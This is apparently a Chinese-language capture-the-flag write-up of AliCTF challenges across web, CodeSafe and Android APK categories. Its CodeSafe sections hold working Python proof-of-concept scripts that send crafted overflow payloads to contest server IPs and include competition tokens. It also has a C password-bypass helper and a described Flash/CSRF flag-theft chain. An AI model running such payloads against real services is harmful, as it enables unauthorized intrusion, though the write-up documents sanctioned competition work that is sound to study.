黑盒脑洞,试了很久没有相出所以然,以为是curl -i的各种解法,各种查资料得到这个
taobao.com@xxx,终于有反应了..
WEBB-300
白帽子的秘密
http://web300b.alictf.com/b5688aa7c3f8387400a3449077f9bd65.php
开始感觉题目好简单 :) 抓拍到了好幸福
于是一晚上熬夜后收到了这个
瞬间凌乱了啊,开始搞题目,先是Flash,crossdomain.xml为*,试了CSRF的POC
这是赛后访问502,正常可以读到flag.php,傻傻以为这样就可以拿到Key了,提交进URL...查看日志根本没请求...心碎..
接着是分析whitehat图片,binwalk发现还藏了个rar,猜了半天脑洞原来密码是比赛网址,内容
e.g.: *.php?img=exp
题目是和xss一样,提交题目页面加img参数...
这个在分析d4.swf文件时有看到:
public dynamic class MainTimeline extends MovieClip {
public var img:String;
public var req:URLRequest;
public var loader:Loader;
public function MainTimeline(){
addFrameScript(0, this.frame1);
}
public function completed(_arg1:Event):void{
this.addChild(this.loader);
}
function frame1(){
try {
ExternalInterface.call("eval", "location.href='http://www.alictf.com/';");
} catch(errObject:Error) {
img = loaderInfo.parameters["img"];
req = new URLRequest(img);
loader = new Loader();
loader.load(req);
loader.contentLoaderInfo.addEventListener(Event.COMPLETE, completed);
};
}
}
当时感觉img即使load进来也x不成,必须自己指定一个swf才行,反而想是img直接Reflect-X到Firefox...被Chrome Protect,思路还是不对.
最后发现居然有上传,可惜自己没扫目录的...可以上传flash图片文件,然后在img处调用flash文件执行代码读flag文件,进行CSRF.
WEBB-400
一串奇怪的数字?你能帮忙揭开谜底吗?
http://web400b.alictf.com/e708f572003bfc59728030f46fb71372.php
打开是个数字:2032687698
我忍住没加这个QQ号找他问flag...
手残加到url后直接请求下载到文件,是个管理员日志,大致是配置lnmp以及各种工具环境,最后有些目录信息,比如web400a有关的nidongde...最后没时间也没去做.
WEBB-500
好吃的饼干........ Casper吃了一块又一块........
hint:一定要给我么?绕过试试?别忘了看URL哦。
http://web500b.alictf.com/26b8f91a01158be64de4cd299cf16f53.php
又是脑洞题目...curl -i之后发现根本不需要提交cookie,
http://web500b.alictf.com/ee11cbb19052e40b07aac0ca060c23ee.php
说是可以执行命令的...可是一直没返回...读了下
http://web500b.alictf.com/js/user.js
想不出所以然,就忽略了...
0x05 CodeSafe
CodeSafe-100
在域名为 codesafe100.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个安全漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 5 次提交请求的机会,超过之后,该token的请求会被丢弃。
根据socket_read_callback函数知SafeCode系列协议为:
Token_len(1字节) + Token + funcid(1字节) + data_len(4字节) + data
SafeCode100有漏洞的函数为rpc_function_1:
mtl为unsigned short类型,而temp.tl和tl最大表示值为511和199
而511*199 = 101689 = 0x18D39
超出了unsigned short能表示的最大值.所以当temp.tl和tl足够大时,会发生整数溢出.
POC:
#coding:utf-8
from socket import *
import struct
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('223.6.253.103', 30000))
token = 'bab1e617f537b121033058a5795e37e0'
len_token = '\x20'
f_id = '\x02'
data = '\x48\x48\x00\x00'
#data += '\xcc'*4
data += struct.pack('I', time.time())
data += '\x02\x00\x00\x00'
data += 'sdatsts-afu\x00\x00\x00\x00\x00'
url = 'http://alibaba.com/'
url += 'a'*(256-len(url))
len_url = len(url)
data += struct.pack('I', len_url)
data += url
len_data = len(data)
send_data = len_token + token + f_id + struct.pack('>I', len_data) + data
print send_data
s.send(send_data)
print s.recv(1024)
CodeSafe-200
在域名为 codesafe200.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个安全漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 4 次提交请求的机会,超过之后,该token的请求会被丢弃。
题目下载地址:点击下载
漏洞所在函数为rpc_function_2
buffer空间为512字节,传入的data数据最大长度为511字节
函数要求的输入格式为tag = value但是函数最后用sprintf把line(data)和tag和value都打印到只有512字节的buffer中,如果符合输入格式要求且剩余字节用空格填充会照成溢出.
POC:
#coding:utf-8
from socket import *
import struct
s = socket(AF_INET, SOCK_STREAM)
s.connect(('42.120.63.194', 30000))
token = 'bab1e617f537b121033058a5795e37e0'
len_token = '\x20'
f_id = '\x02'
data = ' ' + 'a'*60 + '=' + '1834567890123456'
data += ' '* (510 - len(data))
len_data = len(data)
send_data = len_token + token + f_id + struct.pack('>I', len_data) + data
print send_data
s.send(send_data)
print s.recv(1024)
CodeSafe-300
在域名为 codesafe300.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个 缓冲区溢出 漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 3 次提交请求的机会,超过之后,该token的请求会被丢弃。
漏洞出现在函数rpc_fuction_2中
p为请求URL的绝对路径
r分配被了256字节空间
URL的大小也为256
一个符合函数要求格式的URL如:
http:// alibaba.com/xxxx
其中"http:// alibaba.com/"为20个字节,而/temporary folder/2014-08/有26个字节.所以如果提供一个256字节的URL,绝对路径有236字节,被sprintf打印后有262字节,就照成了溢出.
POC:
#coding:utf-8
from socket import *
import struct
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('223.6.253.103', 30000))
#token = 'bab1e617f537b121033058a5795e37e0'
token = 'afc0f1402e0439fb57e87b45ab456b37'
len_token = '\x20'
f_id = '\x02'
data = '\x48\x48\x00\x00'
#data += '\xcc'*4
data += struct.pack('I', time.time())
data += '\x02\x00\x00\x00'
data += 'sdatsts-afu\x00\x00\x00\x00\x00'
url = 'http://alibaba.com/'
url += 'a'*(256-len(url))
len_url = len(url)
data += struct.pack('I', len_url)
data += url
len_data = len(data)
send_data = len_token + token + f_id + struct.pack('>I', len_data) + data
print send_data
s.send(send_data)
print s.recv(1024)
CodeSafe-400
在域名为 codesafe400.alictf.com 的32位主机的 30000 端口上开放了一个服务。
其源代码文件为 rpc_libevent_server.cpp。
在这个服务程序中存在1个安全漏洞。请通过阅读源代码来找到漏洞,并向该服务器发送请求尝试触发。
如果发送的请求能够触发漏洞,在服务器的响应数据中会给出一个32位的MD5值作为flag,示例如下:
Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0
注意:请求中的token字段为每位选手的认证哈希值(详见账号注册邮件中分配的user_token)。
每个合法的token仅有 2 次提交请求的机会,超过之后,该token的请求会被丢弃。
这个不得不吐槽下,缩进简直太美
只要程序执行到system函数就会返回key
但是这个地方坑了我好长时间...一直以没看出来=0=
看出来之后就好做了
Guest密码判断后又调用了一次function1函数,用来除掉空格.而szUser又temp.user的前63个字节复制来.
所以只需要admin+64*'\x20'+a这样的字符串即可饶过
POC:
#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<malloc.h>
#include<time.h>
void function3(char m[],char k[],char r[])
{
int i,j,s=0;
j=strlen(k);
for(i=0;m[i];i++)
m[i]=tolower(m[i]);
for(i=0;m[i];i++)
if(isalpha(m[i]))
{
r[i]=(m[i]-'a'+k[s%j]-'a')%26+'a';
s++;
}
else
r[i]=m[i];
r[i]=0;
for(i=0;r[i];i++)
r[i]=toupper(r[i]);
}
int main()
{
char pass[64] = {0}, value[64];
memcpy(pass, "aiwtnbx", 7);
function3(pass, "admin", value);
printf("%s", value);
if(strcmp(value,"ALIBABA") == 0)
printf("%s", "True");
else
printf("%s", "false");
return 0;
}
0x06 EvalAPK
EvilAPK-100
APK在执行过程中使用了一个文件作为输入,请问该文件的名称是什么?(不需要路径)
题目下载地址:点击下载
FirstBlood.三人不熟悉APK,也没有相应的分析环境,本要做Web100,看了半天(比赛前期地址泄漏了)没解决掉,看到APK100提交的很欢乐,就做了,没想到String一下出来了.
提交inputfile解决
EvilAPK-200
请分析static_analysis.apk安装包。
分析出在静态代码中有多少个地方调用了sendSMS方法(不包括该方法本身且flag为数字)
题目下载地址:点击下载
用apktool d xx.apk反编译后,来find命令
如上图是在Kali下History...
EvilAPK-300
该破解程序jscrack主界面包含两个控件:
1)URL输入框
2)进入”按钮“
要求自己构造一个网页,并把网页对应的URL输入到URL输入框控件,然后,点击”进入”按钮,jscrack会打开webview浏览你的网页,如果jscrack能弹出一个Toast,就证明已经成功破解,同时Toast显示的内容就是这个题目的flag。
题目下载地址:点击下载
看题意与WEBView漏洞有关,就去搜索相关资料
得到一个测试接口的POC
有了存在问题的接口SmokeyBear,就继续科普什么是Toast,怎么输出toast以及接口怎么利用,模仿wooyun的检测页面,最后试了用接口.showToast()真的出来了...参考如下文章:
放到server上测试如下页面
用jscrack访问,得到flag
其他APK题目队伍没人熟悉.不得不放弃...感谢APK出题者前面三关都不难...
0x07 AfterAll
Thx AliCTF.
::L Team::


















































